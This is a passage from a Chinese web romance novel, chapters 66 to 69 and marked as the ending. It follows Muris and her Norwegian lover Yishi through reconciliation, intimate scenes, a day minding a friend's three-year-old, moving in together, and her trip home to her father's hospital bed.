“等等,我没买这个。”伊实意味深长地盯住她。 “嗯,我买的。” “所以你打算用它们吗?” “不然呢?吹气球上太空。” “我不做。” “那我就吹气球上太空。” “我看你脑袋太空。” 穆里斯俏皮地笑,拱了拱鼻尖做口型:I dontcare. 焖面果然是明智的选择,油烟味没来得及沾上袖口,菜香就先一步飘满整个厨房。其间伊实不知道在卧室捣鼓什么,坐下吃饭时上身变成了一件白色短袖。 “对了,你这次回去,见到布鲁克了吗?” “嗯,专门回去给他换了一个轮椅,清扫他家门口的积雪,以及把我被你当狗玩的故事讲给他听。”其实伊实的语气里已经没有怨气了,他只是在提醒自己,对于泼天的热情他要变得更加灵敏,更加节俭。 “你们好像从一开始就喜欢开我的玩笑。有曾觉得我很可怜吗?” “所有人都很可怜。” “这么说也没有错。”穆里斯的右脚搭在左脚上,过一段时间,她也会习惯开自己的玩笑,窝囊的敢作敢当也是敢作敢当。“我真的太容易搞混很多东西了,什么体贴,什么自由,什么长痛不如短痛,你的失望不是没有理由。而且,很遗憾,我一时半会儿还改不掉,身临其境下我根本无法冷静思考。最难受的在于,我竟然会反省,矛盾得不像个人类,像鸭嘴兽,那可不太好看。” “还行。它们照样活得很好。”伊实悄无声息地将腿伸到她的两侧,简易的捕鸟笼,现在只差拉绳子。“你还在对我忏悔吗?” “看你有没有原谅我。” 伊实故作深沉,没表态。 穆里斯目光缱绻,与其说在忏悔,不如说在告白。“我老觉得让你回归自然才是正确的决定,你有野性和主见,拘泥于一个女人岂不是太可悲了?然后我恍然反应过来,正因为你有野性和主见,你回不回归自然也不是能被我拘泥得住的。渴望那些事物的人,其实是我。 “我很想住在湖畔边,极光脚下,夏天看峡湾,冬天看雪山,想做什么做什么,没钱了去捡垃圾,有钱了去买酒喝,最重要的是和爱人躺在一起——这一刻我才真正理解了你的立场。” 伊实喝水咳嗽,说:“你想在挪威生活?我还以为你更依赖自己的国家。” “是的,我的确更依赖自己的国家,其他国家的文化我不清楚,但对中国人来说,世世代代都有个执念,那就是落叶归根。”穆里斯直译叶子和土壤,语义上其实远远达不到原本的高度。 “倒是第一次听说。那么你不惜违背祖宗的规矩也……”伊实的过去式戛然而止。 “那时我以为自己被土壤讨厌了。土壤没有错,错的是别的叶子。” “挡住了你的阳光,之类的。” “挪威也没有多少阳光呀。”穆里斯泯然一笑,“过完中国春节我和你一起回去,好不好?” “中国春节在什么时候?” 穆里斯查看日历,回答:“二月一日。” “这半个月你能保证你不变卦吗?” “以我的人格担保。”穆里斯举起拳头放在太阳穴旁。 “你刚才还在批斗你的人格。” “那么,以我的ass担保。”穆里斯再次举起拳头。 面条和誓言在肚子里兑水一胀,穆里斯吃不消了,跑去阳台接电话。阿吉支支吾吾,问她能不能帮忙带一天儿子。穆里斯欣然答应,顺便一提,如果和前夫争夺抚养权的时候需要唇枪舌战,也可以找她出谋划策。阿吉一惊:“你怎么知道我是去和他吵架的?”穆里斯对着月亮耸肩:“像我们这类人,不轻易给别人添麻烦,除非有更在乎的事情要完成。” 接着,她们聊起这几日大雪之后的重建工作,年底的财务报表欣欣向荣,对得起呕心沥血跑断腿谈业务的日日夜夜。穆里斯打算将业务逐步转移到线上,埋头苦干太苦,有钱赚没命花,他们什么人才没有,摄影有摄影师冠军,平面设计有平面设计师冠军,每条投放出去的广告流量都不差,也应该是客户主动找上门才对。出世和入世的钥匙都掌握在互联网手中的时代,她们的小作坊也不可避免地要面对。 挂了电话回到屋里,穆里斯看见伊实坐在床边向她招手。 “过来。”他说,身体微微向后倾倒,反手撑着。 穆里斯感到一阵战栗,他惯会使用这幅好皮囊和被烟烧透的嗓子。她走过去,歪头:“什么事?” 伊实拉下她的手腕,把她带到怀里,不知从什么地方变出来一条领带,有条不紊地将他们的手绑在一起。 “不一定非要回挪威。”他说。 穆里斯没反抗,嘴上却问:“那你这是做什么?” “不是你建议的吗?把你绑起来。” “我有这么说过。所以,它即将变成一种情。趣吗?” 伊实绑了一个死结,抬头威风凛凛地轻笑,打破她的幻想:“不,我不做。” “……这也是情。趣的一种吗?” 伊实自由的右手臂穿过她的膝盖,抱起她,走到厨房,指挥穆里斯自由的左手开柜门拿酒。 “我每飞一趟航班,就得戒好几天的酒,痛苦得不行。”伊实说,一边教她怎么兑酒。 “你的酒瘾比烟瘾更大。”穆里斯将兑好的酒送到他嘴边。 伊实呷了一口,还算满意。“我受不了麻木。” “为了不麻木,你也有胆量去犯险吗?”穆里斯垂眸看着他水光剔透的嘴唇。 “穆里斯。” 那张嘴发出严肃的语调,她回过神来,和他对视。 “你的甜蜜有周期,我没有蠢到坐视不管,就像,每个月都有的那几天。” 穆里斯明白他在说什么,轻笑道:“居安思危呢。” “什么意思?” 穆里斯没解释,反问:“你知道怎么分辨我在躁狂期还是抑郁期吗?” “这很明显。” “很明显吗?” “它们之间存在一个fucku和fuckme的区别。” 穆里斯头一回听这种话糙理不糙但是由于话太糙导致理也显得很糙的糙语。 第66章 第66章我想要的东西,我全都得…… 任性嚣张是一张无边无际的大网,包裹住夜色不再浓郁下去,窗外飘雨。 穆里斯突然有点儿不忍心,具体不忍心什么,她一时半会儿说不上来,只是有人靠在她的心窝处,她就想抱住他。 “伊实,实话实说,这样的疲惫,你有没有想过解脱?”她是说,放手,认输,之类一派隐姓埋名的行径,对勇者而言这些或许意味着包括尊严在内的一无所有,而对于像她这类说好听点是知足常乐说难听点就是胆小怕事的流浪者而言,放弃怎么不算是一种解脱。 故而流浪者好奇勇者,怀揣着以小人之心度君子之腹的心疼。真是无厘头,穆里斯觉得自己快赶上不分东西南北的脑残粉了,为什么这么喜欢他?好吧,这个脑残粉当就当吧,问起来就说夸父的理想抱负托梦给了她,以至于她天天追着一个大球跑。 如果伊实的后脑勺长了眼睛,他就能看见穆里斯那出于潮湿,比铁锈还沉迷的眼神。 伊实抱着她的腰,另一只和她绑在一起的手十指相扣。受够了淡水终于尝到咸味的海水鱼,也像他这样一脸满足。 “你记得我告诉过你,我吃过教训。”伊实颠了颠膝盖,示意他要喝酒。穆里斯见他两只手都忙着风花雪月,便也没说什么,将杯口对准他的嘴唇。 “实话实说,那就实话实说,我这已经是改过自新的面貌了。”伊实继续说道,放下了所有防备,“如果我放你走,不会是个好结果,如果我不放你走,也不会是个好结果,我只有在你身边徘徊,才够有喘息的空间,给你的。” 穆里斯大拇指摩挲着杯口,“改过自新以前呢?” “以前啊……”伊实摇了摇捆成一团的一大一小的两只手,戏谑地说:“用绳子把你绑在床头,不准你寻死,也不准你到外头去受刺激,直到你认清,我,才是你最该在乎的人——不过最后都得完蛋。” 这的确是最简而有效的办法,斗兽场里最基本的规训方式就是囚禁。可是穆里斯不认为他在效仿斗兽场,恰恰相反,他才更 像是那只被训的兽,开了笼子就得斗个头破血流。 “你妈妈。”穆里斯说。其实她不太乐意在这么美好的时刻谈起彼此的家庭创伤,但作为她的前辈,米勒太太显然给她留下了一个烂摊子没有处理。 “是吧,你一猜就能猜到。”伊实不意外,“你比她理智多了,我没必要顾虑太多的,把你关起来的方案没准在你身上就行得通了呢,我也这样想过,毕竟对你而言,没有一个狡诈的前夫值得诱惑,也没有一个比我更爱你的人值得追求。” “为什么下不去手?”穆里斯问。 伊实自嘲地提了提唇角,摸爬滚打的日子里仁慈是最忌讳的东西,可偏偏这也是从小到大他妈妈必须要检查的品格,他时常掰出两份人格。“我不是说了吗,那是一次教训,既然是教训,我还会在你身上下赌注吗?连街头的乞丐都不这么玩,谁知道下一次失去的会是哪根手指。” “听起来好可怜。”穆里斯语气沮丧。 “少使用你那泛滥的同情心了。”伊实仰起头盯住她,鼻息与她的下巴若即若离,“我想要的东西,我全都得到了。” 穆里斯承蒙那双蓝眼睛的追捕,心乱如潮,连那句极其跋扈的炫耀都变成了风韵盎然的密语。她实在忍受不住,闷头喝了一口酒后,悲切地吻了下去。 起伏的水声穿过柔情的雨,透明的酒顺着他的喉结流下,粗喘的间隙,穆里斯还听见他哑声提醒了一句:“别把酒洒了。” 酒洒不了,他们还没到天旋地转的程度,哪头是天哪头是地稍微睁开眼看看还是能分辨得清,只是抱在一起依偎时,方向感显得没那么重要了。 “我爱你,伊实,没有一刻停止过爱你。”穆里斯努力地表达着曾经她企图通过一个个伪证说明那是不可取的事实,“介入你的人生需要很多的勇气,你的奋不顾身映照出了我的脆弱,哪怕过了这么多年,我还是追不上你。” “忏悔和夸耀就免了,多说一点甜蜜的话。” “我好爱好爱你。” “不赖。” “吻你一千遍。” “有点短促了。” “我发誓穆里斯绝不再消失不见,绝不再隐瞒感觉。伊实是我的Quetiapine,我爱他至死不渝。不论顺境或是逆境,不论富有或是贫穷,不论健康或是疾病,我都将永远爱他,珍惜他,对他忠实,直到永远——” 伊实盖住她的嘴,一段安静的时间流转,他缓缓开口:“Toomuch.” 穆里斯也反应过来,讪讪地缩了缩肩膀,“我没有在求婚,我只是……永远不想跟你分开。” 伊实抚摸她的脸颊,目光绕过受惊而微颤的眉眼,绕过不安的视线和犹豫的睫毛,他笑了笑,说:“你平时就是这么自己吓唬自己的吧?被我抓个正着。” “我吗?”穆里斯皱起眉头反思,“我还以为是因为我太善解人意了呢。” “Socute.”伊实笑意更盛,从她手中拎过酒杯。 “你别笑话我,我为此想过不下一百种解释。”穆里斯从他的腿上下来,歪七扭八地盘坐在沙发上,“明明手和脚都属于我,为什么我还是要做出一些身不由己的行为,到底从哪里来的习惯?习惯又是怎么养成的?我想通过解剖自己来清查因果。从头到尾查了个遍,我还是理解不了。” “嗯。” “后来我想,这是不是由我的基因决定的呢?因为只有像是DNA之类的东西,我无论怎么努力和勤奋也没有办法改变。我是他们的结合体,即便他们没有合理地抚养过我,我还是携带了他们各自的特质。我的狂妄和欲。望来自于我的生父,而我的怯懦和逃避来自于我的生母……中文里有个形容叫‘造孽’,我成了‘孽’的携带者。这个解释最具有说服力,久而久之我也看开了。” 伊实沉吟片刻,偶然间顿悟到了他不那么愿意顿悟的道理,“Goddamnit……照这么说,我能把抛头露脸的事干得得心应手,多亏了那个该死的黑色紧身裤演员咯?” 他的父亲曾在百老汇演出,后来去往世界各地,从没演过主角,但在剧团里相当受欢迎。伊实瞧不起马森引以为傲的嗓子和演技,更瞧不起他门庭若市的私生活。 “真令人火大,他要是把这种东西换成现金我还可以高看他两眼。”伊实转过头,说:“你不能老把自己放在被掌控者的位置,比起你刚说的‘造孽’,我倾向于是我们在掠夺。世人真就应该把婴儿想得邪恶一些,抱有更多的忌惮,免得随随便便地随着一声爽叫,第二天早上床边就传来婴儿的啼哭。” “啊。”穆里斯一拍脑袋想起什么,直起身子,说:“明天跟我一起出门吧,伊实,我要帮我的朋友关照一天她的儿子。” 伊实不大高兴,前半句听上去像是在邀请他出去约会,后半句又有臭小孩什么事了。 “这也是你工作的一部分吗?”他把“job”一词拉得有鞋底的口香糖那样长。 穆里斯揉揉他的手臂,“她是我很要好的朋友,我必须帮。” “他多大?”伊实问。 “三岁。” “你的微信头像是不是他?” “你怎么知道?” 伊实上下点食指,后槽牙异动,吞了一团暗涌下去,说:“我他妈一开始以为那是你的孩子。” 穆里斯震惊,不晓有这等误会,“什么?” “我几个月前在商场见过你,本想给你一个惊喜,但你当时抱着他,还一脸好像什么也不缺的神气,我的心情跟狗屎一样糟糕,转头就走了。”伊实夸大其词。 “……” “所以,”伊实期身压迫上来,冷酷地审问:“别人的孩子,跟你那么亲做什么?你喜欢小孩?” “不,不喜欢。”穆里斯直摇头。 “所以?” “都说了,他的妈妈是我很好的朋友。” “流口水还啃手指,路也走不明白需要人抱的三岁男孩,和我,whoallowsyoutoputyourtwohandsonhischest,你更喜欢哪个?” “你。” “把头像换了。” “好。” 穆里斯从善如流地换回原来的头像,没想到少女时代的Q.Q爱她没机会参与,现在被一个老外压着换网名和头像宣示主权。她解释原来的头像是她住进他在挪威的家的第一天拍下的照片,那时她觉得窗外的雪很美。 她没忘,一直都没忘,只是由于雾霭弥漫那段记忆暂时变得很模糊,事实上她根本没忘。 他们从一张照片开始历史对账,提到钓鱼骑马时穆里斯捧腹大笑,她想起自己笨拙又勤恳的衰样,想必叫人看了不少笑话。真是奇怪,那时她一点儿都没有异国他乡的惶恐。 这是不是说明,她其实也曾是位勇者。 疑似勇者和勇者躺在床上睡着了,手还绑在一起。伊实到最后说什么也不解开,穆里斯一伸手扒他就变脸色,比楼道里的感应灯还灵敏。 试问,人有三急总可以解了吧? 不。人不。 你感兴趣可以来扶一下。人大方道。 “……”穆里斯站在一旁无言以对,变。态和情。趣化身为不可兼容的水火在她左右脑对冲,她扶额,再也笑不出来。 首先,排除后者。 第67章 第67章他是个倒插门 情人眼里出西施也得基于现实主义的框架,穆里斯一直知道伊实不能算是可以打九十九分的偶像。他喝酒抽烟我行我素,易燃易 爆炸,对不感兴趣的人和事又誓死冷面到底,戳人心窝子的同时把问题解决了个干净,无视他人想展示的模样,属于是大野心家最不愿碰见的观众。 这些她一直都知道,并且在心里默默敲打过不少回,但由于她实在爱那双蓝眼睛,远胜过淬毒的嘴,所以她愿意吻他。况且只是个性而已,又不是病,轮不得到她指指点点——后来穆里斯才发觉她太过掉以轻心了,没病的人不会找一个非亲非故的人五年还脱了裤子在她面前撒尿的。 “Honey,可以再睡一会儿吗?”此时她的情人正发出模糊不清的叹息,枕边散落着皱皱巴巴的领带。 穆里斯早就醒了,干睁着两只眼睛,一夜之间串起了很多线索。总结出是她给的安全感不够,为了防止这变态再干出什么令人头痛的举动,她觉得以后必须多给他一些安全感。 于是当机立断,她猛地一翻身,趴在他的胸膛上大展宏图。 “伊实梅尔,伊实梅尔,我的好泰迪熊,是时候起床了。” “……” 她老了,对方也老了,逗小孩的话一说出口竟比鸟语花香还令人面红耳赤。冬天来了,春天还会远吗? 不出所料的收到了嘲笑,伊实有一下没一下地摸她的后脑勺,穆里斯掩面懊悔,闷闷地催眠着:“这是梦,这是梦,这是梦……” 伊实用膝盖顶开她的双腿,托住她的臀部往上抬,额头埋在她的颈间,贪婪地嗅着她的气味,粗糙的下巴扎得她下意识缩起肩膀,他以为是回应,便痴缠地舔开她的锁骨。 她的腰很细,尽管她曾鄙夷地认为是他太庞大所以看什么都目中无人,但不可置否的是,那地方他一只手就能全部握住。 游离。 她的腿没多少肌肉,松松软软,跟腱很长,有良好的硬件条件奈何缺乏锻炼,她跑不远的。 她的脚趾不属于大脑或脊柱的管辖范畴,紧张时会蜷缩成一团,总是冰凉,他攥在手心捂了捂。 一通电话打断了他的晨。勃,怀里一空,穆里斯像被巨浪掀翻的船一般摔下床,急匆匆地接起电话。 她拢了拢衣服,瘫坐在地上,有模有样地回应对面:“喂?你到了?我不在家。你等一会儿,我马上……也行,地址等下发你。嗯,去观光园玩。谦宝开心吗?!要跟小姨出去玩啦!小姨也开心!嗯……对,之后再说吧,我才起床。什么修成正果,我还西天取经呢,什么乱七八糟的,不是……好。谢谢你,阿吉。” 语无伦次的功夫,床上那位早已吭哧吭哧做了几十个俯卧撑。他恢复了精气神,摸乱她的头发,进浴室洗漱。 “嘿!”穆里斯大叫,“别忘了今天我们要干什么!” 她爬起来扶着浴室的门,用审视的眼光上下打量伊实,告诫他不能太嚣张,也不能太冷漠,否则会给谦宝那尚未成型的世界观带来不可忽视的影响,以为白种人都是吸血鬼变的,肤白貌美勾引人,尖牙利齿吃小孩,谦宝最害怕动画片里的反派角色了。 “Baddie?”伊实笑了,“看你怎么介绍我了。” “我当然不会那样故意吓唬人。” “所以怎么介绍?” 穆里斯耸耸肩,“男朋友。” 伊实回味无穷,昂起下巴涂刮胡泡,“我岂不是沾了你的光?” 穆里斯咂嘴,“你得意得很呐。” 阿吉抱着谦宝按响门铃时他们刚好吃完早午餐,穆里斯擦了擦嘴,前去开门。谦宝身上挂着暖水壶,毛绒耳罩夹着肉嘟嘟的脸,显得一双眼睛更加圆润可爱,乖巧地喊姨姨好。 交接仪式在一声声保证中完成了。穆里斯尽可能表现得大方,从而减轻阿吉的心理负担,她反正闲着也是闲着,带一天孩子少不了她一块肉的,况且她不想要小孩不代表她拒绝接触世界上每一只小孩。她没有信心当个好妈妈,但她有信心一定能成为一个好姨姨,正愁溺爱无处安放,祖国花朵的绽放好歹也让她参与几手。 至于里面那位?穆里斯尴尬地笑笑,不得不美其名曰:“他不麻烦,他养猫养狗养马都不嫌麻烦呢,甭操心他的。” 送走阿吉后,穆里斯领谦宝进屋,伊实就站在正对大门前,无声地看着一个小不点牵着另一个小不点。谦宝有点害怕,躲在穆里斯的腿后面。他不是怕陌生人的性格,这次是例外,陌生人长得跟他们很不一样。 “没关系的谦宝,他是你小姨夫。”穆里斯张口就来。 “小姨夫?姨姨的爸爸吗?” 穆里斯听懂了他的逻辑,“嗯,妈妈和爸爸,小姨和小姨夫。” “哦……”谦宝不敢多说话,甚至不敢看那个大高个。 穆里斯指使伊实去拿包,塞点宝宝湿巾和卫生纸什么的,润唇膏也带上。 “Shit,Doyouthinkthisisakindergartenorsomethin”他忿忿不平地走开。 穆里斯蹲下来,“姨夫跟我们一起出去玩,但姨夫不会普通话,我们说的他听不懂,你不用害怕,昂。” “哦。”谦宝点点头,顿了顿又问:“姨夫为什么不会普通话?” “因为他是外国人,他的国家说英语。” 谦宝觉得很新奇,慢吞吞地追问:“外国人?外国人怎么到我们这里来了呀?” “呃……”穆里斯用余光瞥了瞥提包走来的伊实,以讹传讹道:“因为他是个倒插门。” “倒插门?” 穆里斯妙语连珠地一边解释倒插门的含义,一边打发掉了坐车去观光园的时间。比起三加二等于几,小孩子的小脑袋瓜和注意力更容易被这种杂技般不可思议的词汇填满。 休论她误人子弟啊,祖国花朵的绽放参与几手也可能是毒手,姨姨也是个不学无术的。 观光园里普通热闹,大多是家长带着孩子来踩草坪上的积雪,情侣背对假山拍照,手套一戴小嘴一咧,社交媒体上又多了一些南方雪景的珍贵资料。晒娃的晒娃,穿貂的穿貂,写诗的写诗,为雪神送上两脚兽最真挚的赛博狂欢。 玩了没多久,伊实发现这中国小孩的中文水平也没有比他高到哪里去,扯着穆里斯问东问西,捉虫的手法倒是有勇有谋像练了十几二十年的。 虽然语言不通,好在臭味相投,谦宝骑到伊实脖子上往池塘里丢硬币。伊实一个劲地夸,说看见那条红色大肥鱼了吗,拿下它!谦宝不知所以然,沉浸在观鱼的快乐里,站得高,看得远,仿佛整片鱼塘都是他的。 穆里斯默默地站开,离他们远远的,退半步的动作是认真的免责声明。而伊实身上装了雷达似的,立马回头找她,招招手要她过来。 真是无懈可击的心动。穆里斯在心里使劲摇头。她明白这正是上头的时候,所以他无论怎么样都风情万种。记住,她不能被牵着鼻子走,不能什么都答应他,什么都依他,最终被评为没有主见必须用绳索和铁链有效管教的犯贱型恋人。 伊实保持一个姿势不动,催促她。不管怎么看,那张轮廓深邃的脸给人的第一印象都是寒气逼人,她努力回想第一次和他对视时如履薄冰的感觉,却怎么也想不起来了,现在她只感到平安。 她过去牵住了他的手。 把谦宝送回阿吉的住处后,穆里斯终于有机会倾诉她的顾虑 。 “伊实,你握得好紧。”他们正在等麦当劳的套餐,决定晚上去江边坐一坐,那有一座霓虹灯桥,很浪漫,除了求婚以外,干什么都很合适。“我得去取餐了。”穆里斯说。 伊实不松手,没有场外提示的情况下他永远也听不出她的暗喻,只是说道:“你的手很冷。” “没办法,血液总不经过那儿。”穆里斯多要了两包番茄酱。 这样的恐慌是熟悉的,透着一股过期酸黄瓜的气味,到底是坏了,还是本身的味道,连尝都不愿尝一下,不去定义得太清晰,是这场恐慌的缓兵之计。可是,穆里斯就像需要爱那样需要信任。 “我们可以慢慢来,伊实,我们有很多的时间,天没有破晓的时候会觉得夜晚很长,然而天一定会亮的,我也一定会好好地陪伴在你身边。这个世界隐藏了很多秘密,公开谈论的都是些健康的话题,但生病的人不在少数,他们该谈论什么呢。或许就是时间。他们谈论昨天,今天,和明天。 “伊实,今天我很喜欢你,明天也一样会喜欢你。” 地上的薯条被雀啄走了,热可可冒着热气。穆里斯说最后一句时语调僵硬,思忖是否和清晨的乌龙一样肉麻,那她也不要做人了。 伊实望着闪烁的灯光,喝了一口热可可,想好了要给她买比霓虹灯耀眼无数倍的钻戒,如果她觉得钻戒太沉重,那他就给她买比霓虹灯耀眼无数倍的项链,如果她不喜欢首饰,那他就给她买三万张彩票,一天刮一张,中奖了就去买避。孕。套,没中奖就去钓鱼…… “喂,你在想什么?怎么不说话?我说我爱你。”穆里斯大胆起来。 想说的太多了,想喊的音调太高了,所以她什么也听不见。伊实还是一声不吭,懒懒地转过头,视线在她固执的双眼和嘴唇之间来回漂移。 暧昧在麻雀声里浮动。他有强烈的吻她的冲动,但这一次,他想等她来吻他。 穆里斯没抵住诱惑,凑了上去。一碰便一发不可收拾。她也如愿以偿地听见了回答。 “Loveyoumore.” 第68章 第68章Putyourle…… 年意在锣鼓喧天中来临,他们没有回挪威,伊实正月有一场在香港的演出,他决定多干几票挣足违约金,再昂首挺胸地朝公司竖中指。实际上公司并没有欠他什么,条款写得很清楚,他如此怨天尤人单纯只是鄙视上班而已。 穆里斯搬到了伊实的公寓,退租了住了好几年的小房间,她不轻易认定那片不到四十平米的区域是她的家,由于总是阴冷安静,总是毫无回应,它更像一座不讨巧的矮山,她要在这压够五百年才行。然而离别之际,她还是生出强烈的不舍,房间再小再安静,里面的东西也都是她一点一点亲手布置的,没有人可以讲话的时候她便自己跟自己说话。墙壁是有回音的,对她说的最后一句话是:把钥匙还掉之前,这就是我们的最后一面了。 面对任何一种离别仍旧保持坦然是穆里斯最明显的成长,她不再因为看不到未来而抓着过去不放,反正兜兜转转,她总会在某个夜晚把这份回忆之泪流掉。她大概这辈子都改不掉多愁善感的毛病了,平日里注意多喝水保湿倒还有点看头。 同居的第一天,伊实有意无意地向她炫耀,厨房的锅碗瓢盆啦,专门在沙发上盖的小毯子啦,角落里的木头书柜啦,还有枕头底下取之不尽用之不竭的生计用品啦,应有尽有。穆里斯一边打哈哈敷衍,一边做了个爽。等到她风雅感性的一面上岗时,她才后知后觉地回味过来,伊实从一开始就打算再次收养她,所以她的痕迹,甚至比她本人先一步搬到这里。 “Fuck……”穆里斯蒙在被子里,意识到她对铁汉柔情没有一丝抵抗力。拜托啊,直到上一秒为止和她对话的还只是一根丑陋的棒子,如果现在去看伊实的脸,她会羞成什么样?于是她灰溜溜地又去找棒子。 “够了,”伊实不费吹灰之力地把她捞起来,大大的手掌盖在她小小的良心上,说:“再做下去你心脏要受不了了。” “啊?”穆里斯呆楞地张嘴。 “你刚刚差点没呼吸了。” “啊?” “不会吧,话也不会说了?”伊实捏了捏穆里斯的脸蛋,“全是汗。” 穆里斯克制了太久,终于遇到泄洪的机会便无法无天了。放在以前她绝对要反省自己沦为原始欲。望的奴隶是否有失尊严,现在竟然都敢在“人生不设限”的口号前班门弄斧了。 “最后一次。”她双手合十,恳求道:“就最后一次嘛。” “……”伊实眯起眼睛危险地盯着她。 “不要紧,我每年都有体检,除了心率不齐以外没别的毛病。与其担心我还能不能继续,我更想请你每一次操。我的时候都手下留情一点,别把我往死里整,你的手又粗糙,力气又大,我还是个死要面子的类型,你除了听我的心跳还会干什么?”穆里斯圆钝的指甲戳进他的胸口。 伊实漫不经心地将双手叠在后脑勺下面,“你在发牢骚吗?” “听说太爱一个人,会不可避免地产生杀死她的想法,你有吗?” 伊实挑了挑眉,反问:“你想杀死我?” “这可不是那么简单的事。”穆里斯撇撇嘴。 “我没有。”来到了伊实难得把他讨人厌的居高临下的傲气放平的时刻,“我一刻也没有想过杀死你,我希望你活着,硬要说的话,诅咒你永远地活着,哪怕死亡在某一瞬间曾是你最好的选择。” 穆里斯点点头表示认可,“嗯,不相上下的阴谋。” “期待你在我的酒里下毒。”伊实挑衅着,流里流气地左右晃胯,穆里斯和一颗布丁一样弹来弹去。 像他们这样表面光鲜亮丽,实际上满脑子污秽重口,动辄无视社会伦理自成一派的疯子们,流入市场的话是相当不妙的。 穆里斯企图神不知鬼不觉地扶住她的最后一次,被伊实提前预判了,他突然抓住那只不安分的手,定睛说道:“我改变主意了。” “什么?” “我要和你关在一个棺材里。” “?” “每年的复活节我能很快找到你。” 穆里斯无奈地驼下背,敢情只有她这颗病变的脑子不知悔改地成天打打杀杀,他一下子就从良了?不就是情话吗,她要多少有多—— “Nono.”伊实猜到她没憋好屁,先发制人:“这件事上我做主,Done!” 穆里斯脑筋一动,趴下去在他耳边说了两个字,随后笑眯眯地看着他,不出三秒,她就被掀翻在床。 伊实取过床头的矿泉水瓶,还剩一点点水,他给穆里斯喂了一口,自己再将剩下的一饮而尽,把空瓶往身后随手一丢。 “Putyourlegsonmyshoulder.”他命令道。 呼吸浊重。能打败无底洞的只有放弃自身一部分重力,光靠填补是永远填不满的。当穆里斯飘起来时,她终于感到满足。 她很幸运,一整幅拼图一块没落下,丢失的部分有人帮她找回来了;她也很强大,形状虽复杂模糊但她都一块一块正确地拼上了。 …… 每年生父那边都有人给穆里斯打电话,有时是他自己,有时是他的妻子,有时是他的儿子。这些年她一次也没有回过家,也没有传达过一点个人近况,电话连一个“喂”字都不发出声,几乎用上了全套国家反诈策略来抵御这一家子。 然而在信息爆炸时代,一条讯息趁她毫无防备之际蹦到眼前是在所难免的事。如果是不痛不痒的感情牌她就立马忽略了,但这次是意外的好消息:她爹肾衰竭进了医院,躺在床上不能自理,隔三差五做血透。 什么?要死了?穆里斯麻利地定了高铁票。 不幸的是时间刚好撞上了伊实飞往香港的日期,她不能去看他的演出了。为此伊实发了很大的火,原计划他们要一起在香港呆上半个月,现在成了分离半个月,谁赞同谁反对?反正他一万个反对。 “不干了,我不干了,爱谁谁去,我不去了!”伊实一生气就摆出甩手不干的态度,“我不能连续十四天见不到你,我不接受。” 穆里斯更加斩钉截铁:“你必须去。” 伊实毫不退让:“你也必须去。” 穆里斯龇牙咧嘴 十分不满,在她的理想中,她给予出去的安全感可不是被当成一个挂件带来带去。之前她总是败给美色屡屡心软妥协,想着循循善诱,结果诱到哪里去了? “又没有什么能把我们分开,你干嘛那么固执?!”穆里斯说。 “你狡猾得很,我知道,我这次死死地盯着你。”伊实竖起两根手指,在两双眼睛之间来回摁压。 “我狡猾?”穆里斯冷笑,久而久之她不再感到愧疚了,他们两个人加起来也凑不足一个人的人性,“你还霸道呢!有哪个快四十的老男人上班还非要带着恋人的?” “三十七。” “你是不是有病?” “可以啊,我没问题,就当那样好了。” 穆里斯一愣,走向变得罕见。 “有必要说明,我仍坚持我做的任何事情都没有错,诊断书都是社会上那些被福利宠坏的阶级定制的,但你如果一定要一个说法,那么没问题,我有病,离开你哪怕一秒钟我都不能呼吸。有个学名是分离焦虑症是吗?没问题,分离穆里斯焦虑症,又一个学名,我创造的,来个人写进史册,怎么样?” 伊实两手一摊靠在沙发上,仿佛放开了一切线索供人查验,他无罪就是无罪,即使有罪,也是规矩的不合理。他十分排斥那样的说法,好像他有什么生命危险一样。 “哇……”穆里斯佩服得五体投地,从未见识过如此强烈的主体性意识。用硬的看来是行不通了,用软的试试。 “伊实梅尔,”她酥酥地喊了他一声,“我们不要吵架了。” 伊实撇开脸,任由她抱住手臂。他的待遇比前几个月好太多了,以至于他恃宠而骄,想要地球再多为他转两圈。事实上就算穆里斯照老样子一声不吭地走掉,他也拿她没办法。 “你要是继续指控我的狡猾,我可要伤心坏啦,我还是更喜欢你那些关于爱的表达。每到分别的时刻,你都会变得比平时更喜欢撒娇,我不允许自己再被你唬弄下去了。分别是再正常不过的事,更何况我们还有手机,随时随地就能联系。我不想我们以后还要在这个问题上发生争吵,索性一次性说个明白。伊实,听我说,我们是一辈子的关系,不管一辈子是多少年,既然我此刻向你表明了这样的决心,你该知道,我现在和你舍不得我一样舍不得你。” 当着伊实的面,穆里斯打开手机又是给他发信息又是拨通视频通话,生怕他被时代抛弃了不会用智能手机似的。 “行了,行了。”伊实从她手中抽出智能手机,一下子化成丧家犬的模样,埋进她的腰间,闷闷地说:“不想你走。” “不是我走,是你走。”穆里斯忍住皮肤表面的痒意。 “每天给我打电话。” “好,我会拜托李帮我录下你走秀的视频。” “发生了什么事要跟我说。” “好,你也是。” “不想你走。” 得,又转回来了。 穆里斯沉思良久,死去的回忆突然攻击她的大脑。 “伊实,你现在起来,我跳脱衣舞给你看。” “操。” 【全文完结】 第69章 第69章全文完 夜晚逼近两杯高球,苏格兰威士忌兑苏打水,全倒在一场没营养的表演上了。传闻爱人者面对被爱者时会散发一股神秘的性感气息,多亏了这股信息素,穆里斯那盲人摸象般的舞蹈虽很难在舞坛上崭露头角,但姑且还是达到了最终目的。 更爱就更难以割舍,或许腻烦对两个人来说都变相地成为了一种值得学习的榜样,否则不知天高地厚地不要别的只要爱,不必等到复活节,他们活在世上已经是游魂了。 穆里斯没有停止追求关于“爱是什么”的解答,她知道一个有时间却没有金钱去做想做的事的年轻穷人,和一个有经济条件却失去了大部分物欲的老人,他们会写出一样的人生长恨水长东,失去体验意味着失去幸福的机会,她会继续走下去的。 从H市到老家Y市的高铁需要三个半小时,穆里斯对那座偏僻小城的全部记忆停留在灰蒙蒙的白炽灯和墙上方正得有些诡异的标语。 哦,原来是这样。前十八年她想要出逃的信念太深了,以至于她把逃跑当成了自身的一部分。没关系,至少她是在一个摔跤都精彩的年纪摔跤的,现在离她第二个十八岁还有很久,离第三个十八岁更久,有大把时间做更精彩的事。 许久不见两个弟弟,穆里斯简直不忍多视,他们太丑了,不是五官上的缺陷,他们眼睛鼻子都好好的,也不是体型上的问题,一个爸的基因好像三个孩子都不爱长胖,到底是哪里的丑陋?穆里斯怀着探究之心皱眉打量了一番。 哦,他们看起来没有脑子。她前几天刚好教了伊实一句中文:傻人有傻福,傻逼没有。 穆里斯不再多看,跟着他们去了安滨的病房。病房里有三张床位,她那可怜的爹睡在中央,由于每天要做透析,洗衣机那般大的机器在这一呆就是四五个小时起步,护士来来回回地走动,帘子没法拉上。 